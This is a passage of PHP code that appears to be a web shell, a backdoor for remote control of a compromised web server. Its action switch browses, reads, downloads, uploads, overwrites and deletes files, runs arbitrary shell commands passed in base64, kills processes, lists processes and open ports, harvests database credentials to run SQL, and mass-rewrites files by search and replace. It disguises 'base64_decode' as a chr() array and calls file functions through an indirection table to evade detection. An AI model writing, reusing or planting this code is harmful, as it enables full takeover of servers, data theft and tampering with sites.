  foreach($d as $f){
    if($f==='.'||$f==='..')continue;
    $u=($p==='/'?'':$p).'/'.$f;
    $st=@lstat($u);
    $o[]=['n'=>$f,'d'=>@is_dir($u)?1:0,'l'=>@is_link($u)?1:0,
          's'=>$st?(int)$st['size']:0,'p'=>_pm($u),'o'=>_ow($u),
          'm'=>$st?(int)$st['mtime']:0];
  }
  J(['p'=>$p,'l'=>$o,'u'=>(float)@disk_free_space($p),'t'=>(float)@disk_total_space($p)]);
case'r':
  if(!@is_file($q))J(['e'=>'not found']);
  if(isset($_GET['z'])){
    while(ob_get_level())@ob_end_clean();
    $sz=@filesize($q);
    @header('Content-Type: application/octet-stream');
    @header('Content-Length: '.(int)$sz);
    @header('Content-Disposition: attachment; filename="'.str_replace(['"',"\r","\n"],'',basename($q)).'"');
    @header('X-Content-Type-Options: nosniff');
    @$S['rf']($q);
    exit;
  }
  $sz=(int)@filesize($q);
  if($sz>(int)_c('maxrd'))J(['e'=>'file too large ('.$sz.' bytes)','s'=>$sz]);
  $t=@$S['fg']($q);
  if($t===false)J(['e'=>'read failed']);
  $bin=preg_match('/[\x00-\x08\x0E-\x1F]/',$t)?1:0;
  J(['p'=>$q,'s'=>strlen($t),'b'=>$bin,'c'=>$bin?null:$t,
     'm'=>(int)@filemtime($q),'h'=>@$S['hf']('sha256',$q)]);
case'w':
  $vb=_g('vb');
  $data=$v;
  if($vb!==''){
    $b6=implode('',array_map('chr',[98,97,115,101,54,52,95,100,101,99,111,100,101]));
    $raw=@$b6(strtr($vb,'-_','+/'));
    if(is_string($raw))$data=$raw;
  }else{
    /* multipart form encoding turns lone LF into CRLF; undo for legacy clients */
    $data=str_replace("\r\n","\n",$data);
  }
  $n=@$S['fp']($q,$data);
  J(['r'=>$n===false?false:$n]);
case'u':
  if(!isset($_FILES['f']))J(['e'=>'no file payload']);
  $tot=(int)$c2;
  if($tot>0){
    $buf=@$S['fg']($_FILES['f']['tmp_name']);
    if($buf===false)J(['e'=>'chunk read failed']);
    $ok=(int)$b===0?(@$S['fp']($q,$buf)===strlen($buf)):(@$S['fp']($q,$buf,FILE_APPEND)===strlen($buf));
    J(['r'=>$ok?1:0,'p'=>$q,'chunk'=>(int)$b+1,'of'=>$tot]);
  }
  $ok=@$S['mu']($_FILES['f']['tmp_name'],$q);
  J(['r'=>$ok?1:0,'p'=>$q,'s'=>$ok?(int)@filesize($q):0]);
case'n':
  J(['r'=>@$S['rn']($q,$v)?1:0]);
case'x':
  J(['r'=>_del($q)?1:0]);
case'm':
  J(['r'=>@$S['mk']($q,0755,true)?1:0]);
case'c':
  J(['r'=>@$S['ch']($q,octdec($v))?1:0]);
case'e':
  $cmd=$q;
  $bb=_g('qb');
  if($bb!==''){
    $b6=implode('',array_map('chr',[98,97,115,101,54,52,95,100,101,99,111,100,101]));
    $raw=@$b6(strtr($bb,'-_','+/'));
    if(is_string($raw)&&$raw!=='')$cmd=$raw;
  }
  $cmd=_nz($cmd);
  $out=_run($cmd,$w);
  $out['x']=$cmd;
  J($out);
case'd':
  $r=_dsize($q!==''?$q:(string)@getcwd());
  J(['s'=>$r[0],'n'=>$r[1],'trunc'=>$r[2]]);
case't':
  if(!@file_exists($q))J(['e'=>'not found']);
  $st=@lstat($q);
  if(!$st)J(['e'=>'stat failed']);
  J(['p'=>$q,'s'=>(int)$st['size'],'p2'=>_pm($q),'o'=>_ow($q),'g'=>(int)$st['gid'],
     'm'=>(int)$st['mtime'],'a'=>(int)$st['atime'],'c'=>(int)$st['ctime'],'i'=>(int)$st['ino'],
     'd'=>@is_dir($q)?1:0,'l'=>@is_link($q)?1:(@is_file($q)?0:-1),
     'lk'=>@is_link($q)?(string)@readlink($q):'']);
case'h':
  $al=$v!==''?$v:'sha256';
  $h=@$S['hf']($al,$q);
  J($h===false?['e'=>'hash failed']:['al'=>$al,'h'=>$h]);
case'g':
  $root=$q!==''?$q:(string)@getcwd();
  $pat=$v!==''?$v:'*';
  $all=_walk($root,9000,9);
  $o=[];
  foreach($all as $p){
    $bn=basename($p);
    if(fnmatch($pat,$bn)||stripos($bn,$pat)!==false)$o[]=$p;
    if(count($o)>=400)break;
  }
  J(['r'=>$o,'n'=>count($o)]);
case'k':
  $pid=(int)$q;
  if($pid<=0)J(['e'=>'bad pid']);
  $ok=0;
  if(function_exists('posix_kill'))$ok=@posix_kill($pid,9)?1:0;
  if(!$ok){$r=_run('kill -9 '.$pid,'/');$ok=$r['r']===0?1:0;}
  J(['r'=>$ok]);
case'y':
  $la=@sys_getloadavg();if(!is_array($la))$la=[0,0,0];
  $cores=0;
  $ci=@$S['fg']('/proc/cpuinfo');
  if($ci!==false)$cores=preg_match_all('/^processor\s*:/m',$ci);
  if(!$cores)$cores=1;
  $mem=[];
  $mi=@$S['fg']('/proc/meminfo');
  if($mi!==false&&preg_match('/MemTotal:\s+(\d+)/',$mi,$m1)&&preg_match('/MemFree:\s+(\d+)/',$mi,$m2)){
    $av=0;
    if(preg_match('/MemAvailable:\s+(\d+)/',$mi,$m4))$av=(int)$m4[1]*1024;
    $mem=['t'=>(int)$m1[1]*1024,'f'=>(int)$m2[1]*1024,'a'=>$av?(int)$av:(int)$m2[1]*1024];
  }
  $up=0;
  $ui=@$S['fg']('/proc/uptime');
  if($ui!==false){$z=explode(' ',$ui);$up=(int)$z[0];}
  $prun=0;$ptot=0;
  $lav=@$S['fg']('/proc/loadavg');
  if($lav!==false&&preg_match('~(\d+)/(\d+)~',$lav,$m3)){$prun=(int)$m3[1];$ptot=(int)$m3[2];}
  $disk=[];
  $mo=@$S['fg']('/proc/mounts');
  if($mo!==false){
    $seen=[];
    foreach(explode("\n",$mo) as $ln){
      $f2=preg_split('/\s+/',$ln);
      if(count($f2)<3)continue;
      if(strpos($f2[0],'/dev/')!==0)continue;
      if(isset($seen[$f2[1]]))continue;
      $seen[$f2[1]]=1;
      $t2=@disk_total_space($f2[1]);
      if($t2===false)continue;
      $disk[]=['m'=>$f2[1],'t'=>(float)$t2,'f'=>(float)@disk_free_space($f2[1])];
      if(count($disk)>=5)break;
    }
  }
  J(['load'=>$la,'cores'=>$cores,'mem'=>$mem,'uptime'=>$up,'prun'=>$prun,'ptot'=>$ptot,
     'disk'=>$disk,'host'=>(string)@gethostname(),'os'=>php_uname('s').' '.php_uname('r')]);
case'j':
  $r=_run('ps -eo pid,user,pcpu,pmem,etime,args --no-headers 2>/dev/null | head -400','/');
  $o=[];
  foreach(explode("\n",$r['o']) as $ln){
    $ln=trim($ln);
    if($ln==='')continue;
    $f=preg_split('/\s+/',$ln,6);
    if(count($f)<6)continue;
    $o[]=['p'=>(int)$f[0],'u'=>$f[1],'c'=>$f[2],'m'=>$f[3],'t'=>$f[4],'a'=>$f[5]];
  }
  J(['r'=>$o,'n'=>count($o)]);
case'p':
  $r=_run('ss -ltnup 2>/dev/null | head -140','/');
  $o=[];$seen=[];
  foreach(explode("\n",$r['o']) as $ln){
    $ln=trim($ln);
    if($ln==='')continue;
    $f=preg_split('/\s+/',$ln);
    if(count($f)<5)continue;
    if(!preg_match('/^(tcp|udp)/i',$f[0]))continue;
    $key=strtolower($f[0].'|'.$f[4]);
    if(isset($seen[$key]))continue;
    $seen[$key]=1;
    $proc='';
    if(preg_match('/users:\((.*)\)\s*$/',$ln,$m)){
      if(preg_match_all('/\("([^"]+)",pid=(\d+)/',$m[1],$mm,PREG_SET_ORDER)){
        $ps=[];
        foreach($mm as $z)$ps[]=$z[1].'/'.$z[2];
        $proc=implode(' ',$ps);
      }
    }
    $o[]=['p'=>strtoupper($f[0]),'a'=>$f[4],'s'=>$proc];
    if(count($o)>=140)break;
  }
  J(['r'=>$o]);
case'v':
  J(['c'=>_disc()]);
case's':
  $cr=_creds($w);
  if(isset($cr['e']))J($cr);
  $q=$q!==''?$q:'SHOW TABLES';
  $res=_sql($cr,$q);
  $res['f']=$cr['f'];
  J($res);
case'f':
  $root=$q!==''?$q:(string)@getcwd();
  if($v==='')J(['e'=>'search string required']);
  $rx=$b==='1';
  $pat=$rx?('~'.str_replace('~','\~',$v).'~'):'';
  if($rx&&@preg_match($pat,'')===false)J(['e'=>'invalid regex']);
  $all=_walk($root,7000,10);
  $files=0;$changed=0;$out=[];
  $budget=microtime(true)+25;
  foreach($all as $p){
    if(microtime(true)>$budget)break;
    if(@is_dir($p)||@is_link($p))continue;
    $sz=@filesize($p);
    if($sz===false||$sz===0||$sz>2097152)continue;
    $t=@$S['fg']($p);
    if($t===false||$t===''||strpos($t,"\0")!==false)continue;
    $cnt=$rx?@preg_match_all($pat,$t,$mm):substr_count($t,$v);
    if(!$cnt)continue;
    $files++;
    $lines=[];
    foreach(explode("\n",$t) as $i=>$ln){
      $hit=$rx?@preg_match($pat,$ln):(strpos($ln,$v)!==false);
      if($hit){
        $s=trim($ln);
        if(strlen($s)>240)$s=substr($s,0,240).'…';
        $lines[]=[$i+1,$s];
        if(count($lines)>=5)break;
      }
    }
    $out[]=['f'=>$p,'n'=>$cnt,'l'=>$lines];
    if($w!==''&&$changed<300){
      $nt=$rx?@preg_replace($pat,$w,$t):str_replace($v,$w,$t);
      if($nt!==null&&$nt!==$t&&@$S['fp']($p,$nt)!==false)$changed++;
    }
    if($files>=300)break;
  }
  J(['files'=>$files,'changed'=>$changed,'list'=>$out]);
default:
  J(['e'=>'unknown action']);
}